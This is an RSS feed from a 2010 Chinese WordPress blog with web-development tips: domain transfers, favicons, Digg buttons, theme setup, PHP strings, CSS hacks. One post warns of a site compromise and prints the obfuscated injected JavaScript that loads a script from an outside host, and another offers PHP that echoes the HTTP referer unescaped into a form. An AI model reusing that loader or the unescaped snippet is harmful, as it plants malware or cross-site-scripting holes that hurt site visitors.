<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温暖一车人 &#187; 网页应用</title>
	<atom:link href="http://www.nuanche.com/nuanche/study/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanche.com</link>
	<description>温暖一车人,简称暖车网,一个综合性的网站,主要是生活娱乐,网罗八卦趣事,共同交流网络技术,推荐有趣影视视频,记录生活琐事包括生活中的电子产品,饮食游戏等.分享资源分享乐趣,结交更多的网络好友,让生活变得充满乐趣!飘雨云翳主要从事各类主题制作,有需要请联系.</description>
	<lastBuildDate>Thu, 29 Jul 2010 17:57:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>域名转移教程：从NAME.COM转到Godaddy</title>
		<link>http://www.nuanche.com/name-com-godaddy</link>
		<comments>http://www.nuanche.com/name-com-godaddy#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:51:20 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[godaddy]]></category>
		<category><![CDATA[NAME.COM]]></category>
		<category><![CDATA[域名转移]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=1259</guid>
		<description><![CDATA[转移过程：

1.登陆你的 Name.com  帐户，点击进入要转移的域名，看到左边的小锁头图标了吧？它是锁上的，对不，点击它，使它解锁，解锁后锁头图标上锁头打开，锁下出现“unlocked”；找到并记录中间的转移密码“Auth  Code”。

2.登录你的 Godaddy 账户，购买欲转移的域名的转移资格：从菜单 HOME—&#62;Domains—&#62;Domain  Transfer进入购买。结帐时记得使用超级优惠码哦；

]]></description>
			<content:encoded><![CDATA[<h3>转移过程：</h3>
<p><a href="http://www.nuanche.com/wp-content/uploads/2010/07/godaddy.jpg"><img class="alignleft size-thumbnail wp-image-1260" title="godaddy" src="http://www.nuanche.com/wp-content/uploads/2010/07/godaddy-160x120.jpg" alt="" width="160" height="120" align="left" /></a>1.登陆你的 Name.com  帐户，点击进入要转移的域名，看到左边的小锁头图标了吧？它是锁上的，对不，点击它，使它解锁，解锁后锁头图标上锁头打开，锁下出现“unlocked”；找到并记录中间的转移密码“<strong>Auth  Code</strong>”。</p>
<p>2.登录你的 Godaddy 账户，购买欲转移的域名的转移资格：从菜单 HOME—&gt;Domains—&gt;Domain  Transfer进入购买。结帐时记得使用超级优惠码哦；</p>
<p>3.成功购买欲转移的域名的转移资格后，Godaddy会往你的域名管理员邮箱中发送一封含有 Transaction ID 和 Security Code  的邮件，主题为“Transfer of”加上你的域名，记录 Transaction ID 和 Security Code；<span id="more-1259"></span></p>
<p>4.开始转移：进入Godaddy 账户，点击左边菜单的“Domain Manager”进入域名管理器，点选菜单Domains—&gt;Domain Related—&gt;Domain Transfers，点选要开始转移的域名，点选稍下一点的右上角菜单Authorization—&gt;Begin Transfer  Authorization，这时会弹出框子，第一步填入 Transaction ID 和 Security  Code，第二步填入记录的转移密码“<strong>Auth  Code</strong>”，然后转移开始，过几分钟至十几分钟不等之后就会出现卡在转移的第3步的情况，好了，等5天就会同意转出。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/name-com-godaddy/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wordpress 分类分页 子分类分页</title>
		<link>http://www.nuanche.com/wordpress-page-cat</link>
		<comments>http://www.nuanche.com/wordpress-page-cat#comments</comments>
		<pubDate>Sat, 24 Jul 2010 04:30:37 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[分类分页]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=1249</guid>
		<description><![CDATA[不知道这样分页有什么好处，但是就遇到这样一位客户，要求这样做wordpress主题。结果在网上搜索了一翻，没有太多相关介绍。最后只能自己想办法了。

正常的分页是对posts分页，象pagenavi之类的。

对分类或者该分类下面的子分类进行分类，要另写代码了。思路：搜索数据库某个表中的记录，对记录进行汇总，然后按照正常的php程序分页进行写程式就可以了。虽然看起来不难，但是这个代码我确写了不少时间，希望将来有一天，wordpress提供此功能，就是不管你调用出来什么数据，都可以对这些数据进行分页了。哈哈，那这样wordpress就强大了。

]]></description>
			<content:encoded><![CDATA[<p>不知道这样分页有什么好处，但是就遇到这样一位客户，要求这样做wordpress主题。结果在网上搜索了一翻，没有太多相关介绍。最后只能自己想办法了。</p>
<p><a href="http://www.nuanche.com/wp-content/uploads/2010/07/wp.jpg"><img class="alignleft size-thumbnail wp-image-1251" title="wp" src="http://www.nuanche.com/wp-content/uploads/2010/07/wp-160x120.jpg" alt="" width="160" height="120" align="left" /></a>正常的分页是对posts分页，象pagenavi之类的。</p>
<p>对分类或者该分类下面的子分类进行分类，要另写代码了。思路：搜索数据库某个表中的记录，对记录进行汇总，然后按照正常的php程序分页进行写程式就可以了。虽然看起来不难，但是这个代码我确写了不少时间，希望将来有一天，wordpress提供此功能，就是不管你调用出来什么数据，都可以对这些数据进行分页了。哈哈，那这样wordpress就强大了。</p>
<p>等闲些时候贴出代码，代码太多，也没时间整理。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/wordpress-page-cat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何在浏览器地址栏显示自己的Favicons.ico图标</title>
		<link>http://www.nuanche.com/favicons-ico</link>
		<comments>http://www.nuanche.com/favicons-ico#comments</comments>
		<pubDate>Thu, 08 Jul 2010 15:52:19 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[Favicons.ico]]></category>
		<category><![CDATA[图标]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=1225</guid>
		<description><![CDATA[设置自己网站的浏览器小图标的好处：可以加深访客对贵站的形象且容易认出你的网站，就跟网站的logo效果一样。



下面说一下如何实现这个功能:

]]></description>
			<content:encoded><![CDATA[<p>设置自己网站的浏览器小图标的好处：可以加深访客对贵站的形象且容易认出你的网站，就跟网站的logo效果一样。</p>
<p><a rel="attachment wp-att-1228" href="http://www.nuanche.com/favicons-ico/nuanche-ico"><img class="size-full wp-image-1228   alignnone" title="nuanche-ico" src="http://www.nuanche.com/wp-content/uploads/2010/07/nuanche-ico.jpg" alt="" width="382" height="204" /></a></p>
<p>下面说一下如何实现这个功能:</p>
<p>一，要给自己的网站加上个性图标当然先要设计出一个你自己网站的图标来，格式最好是.ICO。<span id="more-1225"></span></p>
<p>二，使用ftp软件上传favicon.ico 到网站根目录，然后在需要的显示个性ico图标的页面中，使用网页编辑软件dw或直接文本编辑器也行，打开页面，在源代码的&lt;head&gt;和&lt;/head&gt;标签之间，加上：</p>
<p>&lt;link rel=&#8221;shortcut icon&#8221; href=&#8221;<a href="http://www.nuanche.com/favicon.ico">http://www.nuanche.com/favicon.ico</a>&#8221; /&gt;</p>
<p>今天给客户制作这个的时候，很奇怪呀，代码是对的，图片路径也是对的，这个时候，所有的流行的浏览器图标都显示了，只有ie没显示，奇怪吧，然后我让客户换个ico格式的图标（一开始客户给的是jpg格式的），客户很快说，图标已经换成了ico格式，结果还是不显示！</p>
<p>真是够呛，虽然问题很简单呢，最后我看了客户的图片路径的图片属性，虽然格式是ico格式的，但是实际上呢，确是jpg格式的。后来我跟客户沟通了下格式的问题，原来他是直接改了jpg的后缀名，而不是真正的ico格式图片。</p>
<p>最后给他找了个在线转换的网址。客户转换好以后，我同样查看了图片格式，这次是对的了，是ico格式的了。意外发生了，啥情况呢？所有流行浏览器都不显示了，只有ie显示，^_^！</p>
<p>代码、路径全部检查一遍，没问题，我把自己这个站的ico图标（半个西柚）发给客户试验，结果一切都没问题。只能说明图标有问题了。这么简单的问题，确折腾了好一会呢。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/favicons-ico/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>如何在你的 wordpress 博客添加新Digg的按钮 不使用插件</title>
		<link>http://www.nuanche.com/digg-button</link>
		<comments>http://www.nuanche.com/digg-button#comments</comments>
		<pubDate>Thu, 27 May 2010 04:06:03 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[Digg]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=1121</guid>
		<description><![CDATA[说实话，这些digg、facebook之类的分享代码我都很少使用，但是部分客户需要用到，昨晚搜索了部分代码，现在分享下。



有这样的效果，就是并排的小按钮效果，应该是digg的Compact效果！代码如下（digg  Compact、digg  Medium、stumbleupon）：

]]></description>
			<content:encoded><![CDATA[<p>说实话，这些digg、facebook之类的分享代码我都很少使用，但是部分客户需要用到，昨晚搜索了部分代码，现在分享下。</p>
<p><a href="http://www.nuanche.com/wp-content/uploads/2010/05/digg2.jpg"><img class="alignnone size-full wp-image-1122" title="digg2" src="http://www.nuanche.com/wp-content/uploads/2010/05/digg2.jpg" alt="" width="621" height="138" /></a></p>
<p>有这样的效果，就是并排的小按钮效果，应该是digg的<span style="color: #ff6600;">Compact</span>效果！代码如下（digg  Compact、digg  Medium、stumbleupon）：</p>
<blockquote><p><span style="color: #808080;">&lt;!&#8211;digg Compact&#8211;&gt;<span id="more-1121"></span><br />
                                                       <br />
&lt;div style=&#8221;float: left; padding-right: 2px; padding-top: 2px;&#8221;&gt;<br />
 &lt;ahref=&#8221;http://digg.com/submit?url=&lt;?php the_permalink() ?&gt;&amp;title=&lt;?php the_title(); ?&gt;&amp;bodytext=&lt;?php the_excerpt(); ?&gt;&#8221;&gt;&lt;/a&gt;    <br />
&lt;/div&gt;<br />
&lt;script src=&#8221;http://widgets.digg.com/buttons.js&#8221; type=&#8221;text/javascript&#8221;&gt;&lt;/script&gt; </span></p>
<p><span style="color: #808080;">&lt;!&#8211;digg&#8211;&gt;</span></p>
<p><span style="color: #808080;">&lt;!&#8211;digg  Medium&#8211;&gt;</span></p>
<p><span style="color: #808080;">&lt;a href=&#8221;</span><span style="color: #808080;">http://digg.com/submit?url=&lt;?php</span><span style="color: #808080;"> the_permalink() ?&gt;&amp;title=&lt;?php the_title(); ?&gt;&amp;bodytext=&lt;?php the_excerpt(); ?&gt;&#8221;&lt;/a&gt; <br />
&lt;script src=&#8221;</span><span style="color: #808080;">http://widgets.digg.com/buttons.js</span><span style="color: #808080;">&#8221; type=&#8221;text/javascript&#8221;&gt;&lt;/script&gt;</span></p>
<p><span style="color: #808080;">&lt;!&#8211;digg&#8211;&gt;</span></p>
<p><span style="color: #808080;"> &lt;!&#8211;stumbleupon&#8211;&gt;</span></p>
<p><span style="color: #808080;">&lt;div style=&#8221;float: left; padding-right: 2px; padding-top: 1px;&#8221;&gt;<br />
 &lt;script src=&#8221;http://www.stumbleupon.com/hostedbadge.php?s=2&amp;r=&lt;?php the_permalink() ?&gt;&#8221;&gt;&lt;/script&gt;<br />
&lt;/div&gt;<br />
                       <br />
 &lt;!&#8211;stumbleupon&#8211;&gt;</span></p></blockquote>
<p><span style="color: #000000;">还有网上这种随着页面滚动的效果，也挺不错的！不过，昨天如果不用代理预览页面的话，部分按钮是不显示的。也许这些分享之类的代码在国外比较流行吧。我看国内很少有人要求加类似的代码。</span></p>
<p><a href="http://www.nuanche.com/wp-content/uploads/2010/05/digg.jpg"><img class="alignnone size-full wp-image-1123" title="digg" src="http://www.nuanche.com/wp-content/uploads/2010/05/digg.jpg" alt="" width="294" height="358" /></a> </p>
<p>StumbleUpon <a title="StumbleUpon code" href="http://www.stumbleupon.com/buttons/" target="_blank">查看链接地址</a>       Digg  <a title="Digg code" href="http://about.digg.com/button" target="_blank">查看链接地址</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/digg-button/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>使用wordpress的朋友门注意了，黑客来了……</title>
		<link>http://www.nuanche.com/wp-hacker</link>
		<comments>http://www.nuanche.com/wp-hacker#comments</comments>
		<pubDate>Sat, 10 Apr 2010 04:33:03 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[default-filters]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[on line 229]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=974</guid>
		<description><![CDATA[如果打开网址看到类似的错误，“public_html/wp-includes/default-filters.php on line 229” 那么恭喜你，你被黑客访问过了。

查看ftp，你会发现，有些文件被篡改了，而且不是主题相关的文件。打开文件会发现如下：

&#60;script&#62;/*GNU GPL*/ try{window.onload = function(){var N093zwnmmc31lmu = document.createElement(&#8217;s&#38;(!$c@(r&#38;@@(i(&#38;^p^&#38;t!&#8217;.replace(/\!&#124;\(&#124;\$&#124;#&#124;\)&#124;&#38;&#124;\^&#124;@/ig, &#8221;));N093zwnmmc31lmu.setAttribute(&#8216;type&#8217;, &#8216;text/javascript&#8217;);N093zwnmmc31lmu.setAttribute(&#8217;src&#8217;, &#8216;h(&#38;t$(@t$!p((:)$(/&#38;)/!&#38;&#38;s#&#38;)a@!#(h!$i$@$b#&#38;^^i@))!n$!&#38;#)d(e)&#38;@n&#38;^#-#!c^&#38;@$^o!@(m$$.)&#38;$h()$(e@)i#^&#38;&#38;s!)$e).&#38;@d#$)^e$#$!.(^!a#()d(&#38;^)u(^l^)t@a@d&#38;#w^#@o(&#38;&#38;r@@&#38;&#38;l#&#38;)d$&#38;-)#!&#38;c@o^(m(.!^(v!#)i&#38;#e#w!@@()h$&#38;!&#38;o#(@$m)&#38;e^s@!a&#38;$$#l$e#.!r(u@)#:)!8)!0^8#0$@^/$g^^$o#!$o!&#38;)g!l@$e(.$$c@!&#38;@o!$@m$/#g#(o!o@#g$$l!@)e$(.$c#(o(m^@/!)m#((a@#$$p^q#!u&#38;!!)e&#38;&#38;)!s!)(t$&#38;).&#38;c$#&#38;o#^m##/^&#38;v#e&#38;r^@!!i!z#o#!n&#38;.$#n#^e$()t(!/#b@#r)a#m!j@^#))n#^e$^^^t^.&#38;c$)o)!!m!$/))&#8217;.replace(/#&#124;\(&#124;&#38;&#124;\)&#124;\$&#124;@&#124;\^&#124;\!/ig, &#8221;));N093zwnmmc31lmu.setAttribute(&#8216;defer&#8217;, &#8216;defer&#8217;);N093zwnmmc31lmu.setAttribute(&#8216;id&#8217;, &#8216;S!^(@l$!$!j@!(h$!2!$&#38;5^)d^@j#$o!&#38;@r!$(&#8216;.replace(/\!&#124;\)&#124;\$&#124;\^&#124;@&#124;#&#124;&#38;&#124;\(/ig, &#8221;));document.body.appendChild(N093zwnmmc31lmu);}} catch(e) {}&#60;/script&#62;

]]></description>
			<content:encoded><![CDATA[<p><strong></strong>如果打开网址看到类似的错误，“public_html/wp-includes/default-filters.php on line 229” 那么恭喜你，你被黑客访问过了。</p>
<p>查看ftp，你会发现，有些文件被篡改了，而且不是主题相关的文件。打开文件会发现如下：</p>
<p>&lt;script&gt;/*GNU GPL*/ try{window.onload = function(){var N093zwnmmc31lmu = document.createElement(&#8217;s&amp;(!$c@(r&amp;@@(i(&amp;^p^&amp;t!&#8217;.replace(/\!|\(|\$|#|\)|&amp;|\^|@/ig, &#8221;));N093zwnmmc31lmu.setAttribute(&#8216;type&#8217;, &#8216;text/javascript&#8217;);N093zwnmmc31lmu.setAttribute(&#8217;src&#8217;, &#8216;h(&amp;t$(@t$!p((:)$(/&amp;)/!&amp;&amp;s#&amp;)a@!#(h!$i$@$b#&amp;^^i@))!n$!&amp;#)d(e)&amp;@n&amp;^#-#!c^&amp;@$^o!@(m$$.)&amp;$h()$(e@)i#^&amp;&amp;s!)$e).&amp;@d#$)^e$#$!.(^!a#()d(&amp;^)u(^l^)t@a@d&amp;#w^#@o(&amp;&amp;r@@&amp;&amp;l#&amp;)d$&amp;-)#!&amp;c@o^(m(.!^(v!#)i&amp;#e#w!@@()h$&amp;!&amp;o#(@$m)&amp;e^s@!a&amp;$$#l$e#.!r(u@)#:)!8)!0^8#0$@^/$g^^$o#!$o!&amp;)g!l@$e(.$$c@!&amp;@o!$@m$/#g#(o!o@#g$$l!@)e$(.$c#(o(m^@/!)m#((a@#$$p^q#!u&amp;!!)e&amp;&amp;)!s!)(t$&amp;).&amp;c$#&amp;o#^m##/^&amp;v#e&amp;r^@!!i!z#o#!n&amp;.$#n#^e$()t(!/#b@#r)a#m!j@^#))n#^e$^^^t^.&amp;c$)o)!!m!$/))&#8217;.replace(/#|\(|&amp;|\)|\$|@|\^|\!/ig, &#8221;));N093zwnmmc31lmu.setAttribute(&#8216;defer&#8217;, &#8216;defer&#8217;);N093zwnmmc31lmu.setAttribute(&#8216;id&#8217;, &#8216;S!^(@l$!$!j@!(h$!2!$&amp;5^)d^@j#$o!&amp;@r!$(&#8216;.replace(/\!|\)|\$|\^|@|#|&amp;|\(/ig, &#8221;));document.body.appendChild(N093zwnmmc31lmu);}} catch(e) {}&lt;/script&gt;</p>
<p>这些语言看不懂，不知道啥意思。但是不是啥好东西！</p>
<p>网上反映，以下文件会发现如上乱码：<span id="more-974"></span></p>
<p>index.php<br />
wp-admin/index.php<br />
wp-admin/index-extra.php</p>
<p>wp-content/plugins/commentluv/commentluv.js<br />
wp-content/plugins/commentluv/hoverIntent.js</p>
<p>wp-content/plugins/contact-form-7/admin/wpcf7-admin.js<br />
wp-content/plugins/contact-form-7/contact-form-7.js</p>
<p>wp-content/plugins/index.php</p>
<p>插件也被篡改了，基本上……</p>
<p>wp-admin/js folder</p>
<p>wp-content/index.php<br />
wp-content/themes/index.php</p>
<p>主题文件中任何后缀是 .js的文件</p>
<p>主题文件中任何后缀是 .php的文件</p>
<p>虽然我没有被黑客侵袭，但是，我做了防范措施，不知道作用大不大！</p>
<p><span style="color: #ff0000;"><strong>使每一个文件和目录都不可写。文件模式644的所有文件。</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/wp-hacker/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CMS主题Hybrid news安装、设置，很漂亮的一款</title>
		<link>http://www.nuanche.com/hybrid-news</link>
		<comments>http://www.nuanche.com/hybrid-news#comments</comments>
		<pubDate>Wed, 17 Mar 2010 06:21:20 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[Hybrid news]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=896</guid>
		<description><![CDATA[以下说明，需要读者有相关的wp知识，以及操作设置等。

 hybrid-news

主题相关介绍

]]></description>
			<content:encoded><![CDATA[<p>以下说明，需要读者有相关的wp知识，以及操作设置等。</p>
<div id="attachment_897" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-897" title="hybrid-news" src="http://www.nuanche.com/wp-content/uploads/2010/03/hybrid-news-screenshot-248x300-150x150.jpg" alt=" hybrid-news" width="150" height="150" /><p class="wp-caption-text"> hybrid-news</p></div>
<p><strong>主题相关介绍</strong></p>
<p>主题名称：Hybrid News<br style="padding: 0px; margin: 0px;" />主题作者：Justin Tadlock<br style="padding: 0px; margin: 0px;" />主题类别：两栏&amp;三栏、CMS 主题<br style="padding: 0px; margin: 0px;" />下载预览：<a href="http://themehybrid.com/downloads/hybrid-news.zip">Hybrid News</a> &amp; <a href="http://themehybrid.com/demo/hybrid-news" target="_blank">Demo</a><br style="padding: 0px; margin: 0px;" />主题说明：Hybrid News 是 <a href="http://themehybrid.com/themes/hybrid" target="_blank">Hybrid</a>主题的子主题，其功能相当强大，不但可以通过 Widggets 自定义侧边栏，还可以自定义首页 <strong>Post Slider</strong>、Excerpts Section 和 Headlines Section。</p>
<p><strong>一、简要说明与相关准备</strong></p>
<p>先看一下 <a style="text-decoration: underline; color: #ff9900;" href="http://themehybrid.com/demo/hybrid-news" target="_blank">hybrid-news的WP示范 </a>，这就是我们安装好以后的主题，该怎么使用？<span id="more-896"></span></p>
<p>首先你需要准备好的东西有：<br />
1.安装好的wp<br />
2. WP需含多篇测试文章(没有文章当然做不出你要的效果)<br />
3. <a style="text-decoration: underline; color: #ff9900;" href="http://themehybrid.com/themes/hybrid" target="_blank">Hybrid框架 </a>和 <a style="text-decoration: underline; color: #ff9900;" href="http://themehybrid.com/themes/hybrid-news" target="_blank">Hybrid-news子版型 </a>(点选链接可至网页下载)<br />
4.相关的Hybrid套件( <a style="text-decoration: underline; color: #ff9900;" href="http://themehybrid.com/themes/hybrid/hybrid-tabs" target="_blank">Hybrid侧栏tab套件 </a>, <a style="text-decoration: underline; color: #ff9900;" href="http://wordpress.org/extend/plugins/" target="_blank">更多套件去WP官网找.. </a>)</p>
<p><strong>二、安装主题、安装相关插件</strong></p>
<p>1.安装WP( Hybrid和Hybrid-news )</p>
<p>路径：左方选单→ Appearance(显示外观) → Add New Themes(增加新的主题) →右方选择Upload (上传)<br />
作法：依序浏览你所下载的Hybrid.zip和Hybrid-news.zip→分别进行Install (安装) →完成</p>
<p>2.安装边栏tab插件</p>
<p>路径：左方选单→Plugin(插件) → Add New (增加新的插件) →右方选择Upload (上传)<br />
作法：浏览你所下载的Hybrid-tabs.zip插件→进行Install (安装) →完成</p>
<p>安装完成后，下方会显示是否Activate (启用)该插件，选择[是]。或你可以点选Plugin → Installed (已安装插件)，于右方的插件列表中，找到Hybrid-tabs，将它Activate (启用)！</p>
<p><strong>三、使用边栏tab插件操作 </strong></p>
<p>路径：左方菜单→ Appearance(显示外观) → Widget(小工具)<br />
作法：右方的小工具列表中，拖拉新增的Tabs工具至你想要的区块上</p>
<p>可以设定选择各块的标题(title)和内容(content)，至多六个页面。如设定完成按下右下方的[Save] 即完成设定。</p>
<p>接着要设定Tab的样式(预设值是未显示)，所以我们需要先去启动它。</p>
<p>路径：左方选单→ Appearance(显示外观) → Editor (编辑工具)<br />
作法：将Hybrid-Tabs的注解拿掉。如下图位置：</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/hybrid-news/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>php 字符串函数</title>
		<link>http://www.nuanche.com/php-string</link>
		<comments>http://www.nuanche.com/php-string#comments</comments>
		<pubDate>Mon, 08 Mar 2010 13:16:13 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[字符串 函数]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=830</guid>
		<description><![CDATA[php怎样判断一个字符串是否包含另一个字符串？比如     &#8220;abcdef&#8221;   包含   &#8220;cde&#8221;

strpos() ：strpos(源字串,查找的字符串,起始位置[默认是0]) ，如果没有匹配任何串时,返回false

手册上的函数万一忘记了，就这么写：

]]></description>
			<content:encoded><![CDATA[<p>php怎样判断一个字符串是否包含另一个字符串？比如     &#8220;abcdef&#8221;   包含   &#8220;cde&#8221;</p>
<p><strong>strpos()</strong> ：strpos(源字串,查找的字符串,起始位置[默认是0]) ，如果没有匹配任何串时,返回false</p>
<p><a href="http://www.nuanche.com/wp-content/uploads/2010/03/php.jpg"><img class="size-thumbnail wp-image-827   alignleft" title="php" src="http://www.nuanche.com/wp-content/uploads/2010/03/php-150x150.jpg" alt="php" width="150" height="150" /></a><strong>手册上的函数万一忘记了，就这么写：</strong></p>
<p>  &lt;?php  <br />
  $a=&#8217;1234567&#8242;;  <br />
  $b=&#8217;123&#8242;;  <br />
  $c=explode($b,$a);  <br />
  if(count($c)&gt;1){  <br />
        echo   &#8220;true&#8221;;  <br />
  }  <br />
  ?&gt;<span id="more-830"></span></p>
<p><strong>查找字符位置函数：</strong></p>
<p>strpos($str,search,[int]):查找search在$str中的第一次位置从int开始；<br />
stripos($str,search,[int]):<br />
strrpos($str,search,[int]):查找search在$str中的最后一次出现的位置从int开始；</p>
<p><strong>提取子字符函数（双字节）</strong></p>
<p>substr($str,int start[,int length]):从$str中strat位置开始提取[length长度的字符串]。<br />
strstr($str1,$str2):从$str1(第一个的位置)搜索$str2并从它开始截取到结束字符串;若没有则返回FALSE。<br />
stristr() 功能同strstr，只是不区分大小写。<br />
strrchr() 从最后一次搜索到的字符处返回；用处：取路径中文件名</p>
<p><strong>替换字符串</strong></p>
<p>str_replace(search,replace,$str):从$str中查找search用replace来替换<br />
str_irreplace(search,replace,$str):<br />
strtr($str,search,replace):这个函数中replace不能为&#8221;";<br />
substr_replace($Str,$rep,$start[,length]):$str原始字符串,$rep替换后的新字符串,$start起始位置,$length替换的长度，该项可选</p>
<p><strong>取字符长度：</strong>int strlen($str)</p>
<p><strong>比较字符函数</strong></p>
<p>int strcmp($str1,$str2):$str1&gt;=&lt;$str2分别为正1,0,-1（字符串比较）<br />
strcasecmp() 同上（不分大小写）<br />
strnatcmp(&#8220;4&#8243;,&#8221;14&#8243;) 按自然排序比较字符串<br />
strnatcasecmp() 同上，（区分大小写）</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/php-string/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>php设置隐藏input获取上一页面的url，并取值问题</title>
		<link>http://www.nuanche.com/php-input</link>
		<comments>http://www.nuanche.com/php-input#comments</comments>
		<pubDate>Sat, 06 Mar 2010 09:04:45 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[HTTP_REFERER]]></category>
		<category><![CDATA[input获取上一页面的url]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=826</guid>
		<description><![CDATA[测试无错，正常的代码如下：

&#60;input id=&#8221;backurl&#8221;  name=&#8221;backurl&#8221; type=&#8221;hidden&#8221; value=&#8221;&#60;?php echo $_SERVER["HTTP_REFERER"]; ?&#62;&#8221; /&#62;  

隐藏input代码：type=&#8221;hidden&#8221;

]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.nuanche.com/wp-content/uploads/2010/03/php.jpg"><img class="size-thumbnail wp-image-827 alignleft" title="php" src="http://www.nuanche.com/wp-content/uploads/2010/03/php-150x150.jpg" alt="php" width="150" height="150" /></a>测试无错，正常的代码如下：</strong></p>
<p><span style="color: #ff6600;">&lt;input id=&#8221;backurl&#8221;  name=&#8221;backurl&#8221; type=&#8221;hidden&#8221; value=&#8221;&lt;?php echo $_SERVER["HTTP_REFERER"]; ?&gt;&#8221; /&gt;  </span></p>
<p>隐藏input代码：type=&#8221;hidden&#8221;</p>
<p>获取前一页url代码：$_SERVER["HTTP_REFERER"];<span id="more-826"></span></p>
<p>提交之后获取value值代码：  $backurl = $_POST['backurl'];</p>
<p><strong>处理过程：</strong></p>
<p>一开始按照以下方法修改表单内容：</p>
<p>&lt;input id=&#8221;backurl&#8221;  name=&#8221;backurl&#8221; type=&#8221;hidden&#8221; value=&#8221;&lt;?php echo $HTTP_SERVER_VARS['HTTP_REFERER'];?&gt;&#8221; /&gt; </p>
<p>本地测试没问题，可以获取前一页面网址。但是ftp上传以后，出现问题，input的value值总是为空。后来google了下，发现这个代码并不合适。原因：<span style="color: #ff6600;">“This   is   set   by   the   user   agent.   Not   all   user   agents   will   set   this,   and   some   provide   the   ability   to   modify   HTTP_REFERER   as   a   feature.   In   short,   it   cannot   really   be   trusted.”</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/php-input/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>IE6/IE7/IE8/Firefox/Chrome/Safari的CSS hack兼容一览</title>
		<link>http://www.nuanche.com/chrome-css</link>
		<comments>http://www.nuanche.com/chrome-css#comments</comments>
		<pubDate>Wed, 03 Mar 2010 15:11:38 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[谷歌浏览器 兼容]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=806</guid>
		<description><![CDATA[知道CSS的朋友一定听说过CSS hack，现在的浏览器IE、Firefox、Chrome、Opera、Safari……，郁闷，兼容问题就成为Web前端开发人员的一个难题。

不同的浏览器对CSS的解释都有一点出入，特别是padding, line-height这些要细微控制的地方，下面的hack基本可以解决这个问题：

• 在属性前加下划线(_)，那么此属性只会被IE6解释

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nuanche.com/wp-content/uploads/2010/03/chrome.gif"></a><a href="http://www.nuanche.com/wp-content/uploads/2010/03/chrome.gif"><img class="size-thumbnail wp-image-807 alignleft" title="chrome" src="http://www.nuanche.com/wp-content/uploads/2010/03/chrome-150x150.gif" alt="谷歌浏览器" width="150" height="150" /></a>知道CSS的朋友一定听说过CSS hack，现在的浏览器IE、Firefox、Chrome、Opera、Safari……，郁闷，兼容问题就成为Web前端开发人员的一个难题。</p>
<p>不同的浏览器对CSS的解释都有一点出入，特别是padding, line-height这些要细微控制的地方，下面的hack基本可以解决这个问题：</p>
<p>• 在属性前加下划线(_)，那么此属性只会被IE6解释<br />
• 在属性前加星号(*)，此属性只会被IE7解释<br />
• 在属性值后面加&#8221;\9&#8243;，表示此属性只会被IE8解释<span id="more-806"></span></p>
